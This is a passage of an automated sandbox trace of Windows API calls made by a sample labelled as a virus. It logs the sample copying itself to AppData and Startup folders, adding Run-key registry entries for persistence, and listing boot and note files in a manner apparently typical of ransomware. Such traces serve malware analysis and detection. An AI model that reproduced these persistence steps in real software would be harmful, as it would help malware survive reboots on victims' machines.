samDesired=0x20119, phkResult=0x1af6d4 | out: phkResult=0x1af6d4*=0xa8) returned 0x0 [0194.448] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af6d0, lpData=0x56a8d8, lpcbData=0x1af6d8*=0x5a | out: lpType=0x1af6d0*=0x0, lpData=0x56a8d8*=0x73, lpcbData=0x1af6d8*=0x5a) returned 0x2 [0194.448] RegCloseKey (hKey=0xa8) returned 0x0 [0194.448] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6e8 | out: phkResult=0x1af6e8*=0xa8) returned 0x0 [0194.448] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af6e4, lpData=0x56a8d8, lpcbData=0x1af6ec*=0x5a | out: lpType=0x1af6e4*=0x2, lpData=0x56a8d8*=0x73, lpcbData=0x1af6ec*=0x78) returned 0xea [0194.448] RegCloseKey (hKey=0xa8) returned 0x0 [0194.448] GetProcessHeap () returned 0x550000 [0194.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.448] GetProcessHeap () returned 0x550000 [0194.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a940 | out: hHeap=0x550000) returned 1 [0194.448] GetProcessHeap () returned 0x550000 [0194.449] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a840 | out: hHeap=0x550000) returned 1 [0194.449] GetProcessHeap () returned 0x550000 [0194.449] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56a740, Size=0x1e2) returned 0x56a740 [0194.449] GetProcessHeap () returned 0x550000 [0194.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e2) returned 0x56a930 [0194.449] GetProcessHeap () returned 0x550000 [0194.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56ab20 [0194.449] GetProcessHeap () returned 0x550000 [0194.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561948 [0194.449] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6d4 | out: phkResult=0x1af6d4*=0xa8) returned 0x0 [0194.449] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1af6d0, lpData=0x56a930, lpcbData=0x1af6d8*=0x1e2 | out: lpType=0x1af6d0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1af6d8*=0x98) returned 0x0 [0194.449] RegCloseKey (hKey=0xa8) returned 0x0 [0194.449] GetProcessHeap () returned 0x550000 [0194.449] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561948 | out: hHeap=0x550000) returned 1 [0194.449] GetProcessHeap () returned 0x550000 [0194.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569d90 [0194.449] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6d4 | out: phkResult=0x1af6d4*=0xa8) returned 0x0 [0194.449] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af6d0, lpData=0x56a9c8, lpcbData=0x1af6d8*=0x14a | out: lpType=0x1af6d0*=0x0, lpData=0x56a9c8*=0x73, lpcbData=0x1af6d8*=0x14a) returned 0x2 [0194.449] RegCloseKey (hKey=0xa8) returned 0x0 [0194.450] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6e8 | out: phkResult=0x1af6e8*=0xa8) returned 0x0 [0194.450] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af6e4, lpData=0x56a9c8, lpcbData=0x1af6ec*=0x14a | out: lpType=0x1af6e4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1af6ec*=0x78) returned 0x0 [0194.450] RegCloseKey (hKey=0xa8) returned 0x0 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ab20 | out: hHeap=0x550000) returned 1 [0194.450] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x56a740, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a930 | out: hHeap=0x550000) returned 1 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564280 | out: hHeap=0x550000) returned 1 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x12) returned 0x56a930 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x12) returned 0x56a950 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a970 [0194.450] GetProcessHeap () returned 0x550000 [0194.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a970 | out: hHeap=0x550000) returned 1 [0194.450] ExpandEnvironmentStringsW (in: lpSrc="spfs.txt", lpDst=0x56a930, nSize=0x9 | out: lpDst="spfs.txt") returned 0x9 [0194.450] GetProcessHeap () returned 0x550000 [0194.451] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a950 | out: hHeap=0x550000) returned 1 [0194.451] GetProcessHeap () returned 0x550000 [0194.451] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.451] GetProcessHeap () returned 0x550000 [0194.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a950 [0194.451] GetProcessHeap () returned 0x550000 [0194.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56ab68 [0194.451] GetProcessHeap () returned 0x550000 [0194.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56ad80 [0194.451] GetProcessHeap () returned 0x550000 [0194.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56af98 [0194.452] GetProcessHeap () returned 0x550000 [0194.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56b1b0 [0194.452] GetProcessHeap () returned 0x550000 [0194.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56b3c8 [0194.452] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56ab68, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.452] GetProcessHeap () returned 0x550000 [0194.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56b5e0 [0194.452] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56b5e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.452] GetProcessHeap () returned 0x550000 [0194.452] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b5e0 | out: hHeap=0x550000) returned 1 [0194.452] GetProcessHeap () returned 0x550000 [0194.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56b5e0 [0194.454] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56b5e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.454] GetProcessHeap () returned 0x550000 [0194.454] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b5e0 | out: hHeap=0x550000) returned 1 [0194.454] GetProcessHeap () returned 0x550000 [0194.454] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56b5e0 [0194.454] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56b5e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.454] GetProcessHeap () returned 0x550000 [0194.454] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b5e0 | out: hHeap=0x550000) returned 1 [0194.454] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=0) returned 1 [0194.542] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x1af7cc | out: phkResult=0x1af7cc*=0xd0) returned 0x0 [0194.543] RegSetValueExW (in: hKey=0xd0, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", cbData=0xf0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe") returned 0x0 [0194.544] RegCloseKey (hKey=0xd0) returned 0x0 [0194.544] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x1af7e0 | out: phkResult=0x1af7e0*=0xd0) returned 0x0 [0194.544] RegSetValueExW (in: hKey=0xd0, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", cbData=0xf0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe") returned 0x0 [0194.545] RegCloseKey (hKey=0xd0) returned 0x0 [0194.545] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt"), bFailIfExists=1) returned 0 [0194.545] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt")) returned 0xffffffff [0194.545] GetProcessHeap () returned 0x550000 [0194.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x134) returned 0x56e3e8 [0194.545] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 0 [0194.546] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0194.546] GetFileAttributesW (lpFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0194.547] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 0 [0194.547] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0194.548] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e3e8 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a930 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a950 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ab68 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ad80 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56af98 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b1b0 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b3c8 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a578 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb10 | out: hHeap=0x550000) returned 1 [0194.548] GetProcessHeap () returned 0x550000 [0194.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569db8 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569de0 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56ccf8 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccf8 | out: hHeap=0x550000) returned 1 [0194.549] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569db8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569de0 | out: hHeap=0x550000) returned 1 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.549] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af7f4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af7f4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569db8 | out: hHeap=0x550000) returned 1 [0194.549] GetProcessHeap () returned 0x550000 [0194.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56a578 [0194.549] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561948 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x190) returned 0x56a740 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x70) returned 0x56ccf8 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x6a) returned 0x56cd70 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56cd70, Size=0xd2) returned 0x56e3e8 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x184) returned 0x56a8d8 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561978 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56aa68 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x250) returned 0x56ac80 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa0) returned 0x56aed8 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x96) returned 0x56cd70 [0194.550] GetProcessHeap () returned 0x550000 [0194.550] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x96) returned 0x56af80 [0194.550] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b020 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b020 | out: hHeap=0x550000) returned 1 [0194.551] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x56cd70, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0194.551] GetProcessHeap () returned 0x550000 [0194.551] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56af80 | out: hHeap=0x550000) returned 1 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56aed8 | out: hHeap=0x550000) returned 1 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x70) returned 0x56e4c8 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x62) returned 0x56aed8 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x62) returned 0x56af48 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56afb8 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56afb8 | out: hHeap=0x550000) returned 1 [0194.551] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56aed8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56af48 | out: hHeap=0x550000) returned 1 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56aed8, Size=0xc2) returned 0x56aed8 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc2) returned 0x56afa8 [0194.551] GetProcessHeap () returned 0x550000 [0194.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b078 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b078 | out: hHeap=0x550000) returned 1 [0194.552] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56aed8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56afa8 | out: hHeap=0x550000) returned 1 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e4c8 | out: hHeap=0x550000) returned 1 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56afa8 [0194.552] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56afa8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56afa8 | out: hHeap=0x550000) returned 1 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x24e) returned 0x56afa8 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56afa8, Size=0x3cc) returned 0x56afa8 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x98) returned 0x56b380 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56b380, Size=0x132) returned 0x56b380 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6a) returned 0x56e4c8 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56aa68 | out: hHeap=0x550000) returned 1 [0194.552] GetProcessHeap () returned 0x550000 [0194.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ac80 | out: 